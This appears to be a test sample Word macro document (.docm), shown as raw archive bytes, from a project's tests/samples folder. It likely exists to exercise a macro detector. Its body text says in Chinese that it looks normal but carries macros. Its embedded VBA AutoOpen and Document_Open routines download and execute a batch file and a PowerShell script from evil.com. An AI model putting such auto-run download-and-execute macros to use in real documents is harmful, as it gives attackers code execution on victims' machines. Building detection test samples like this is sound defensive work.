MeshSate/tests/samples/macro_alert.docm

PKO<>[]-;tB<74><00>word/document.xml<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t>看似正常，实则带宏。</w:t></w:r></w:p></w:body>
</w:document>PKO<>[]|<7C>Z<EFBFBD><5A>
<00>
[Content_Types].xml<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
<Override PartName="/word/vbaProject.bin" ContentType="application/vnd.ms-office.vbaProject"/>
</Types>PKO<>[]<5D>m`<60>

_rels/.rels<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>PKO<>[]<5D>z!<21>	
	
word/_rels/document.xml.rels<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rIdVba" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="vbaProject.bin"/>
</Relationships>PKO<>[]<5D>C<EFBFBD><43>!!word/vbaProject.bin<69><6E>ࡱ<1A>Sub AutoOpen()
    Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\Windows\Temp\a.bat && C:\Windows\Temp\a.bat"
End Sub

Sub Document_Open()
    Set x = CreateObject("Wscript.Shell")
    x.Run "powershell -Command IEX (New-Object Net.WebClient).DownloadString(http://evil.com/ps1)"
End Sub
PK
O<>[]-;tB<74><00><00>
word/document.xmlPK
O<>[]|<7C>Z<EFBFBD><5A>
<00>
<00>

[Content_Types].xmlPK
O<>[]<5D>m`<60>

<00>
<01>_rels/.relsPK
O<>[]<5D>z!<21>	
	
<00>
+word/_rels/document.xml.relsPK
O<>[]<5D>C<EFBFBD><43>!!<00>
nword/vbaProject.binPKD
<00>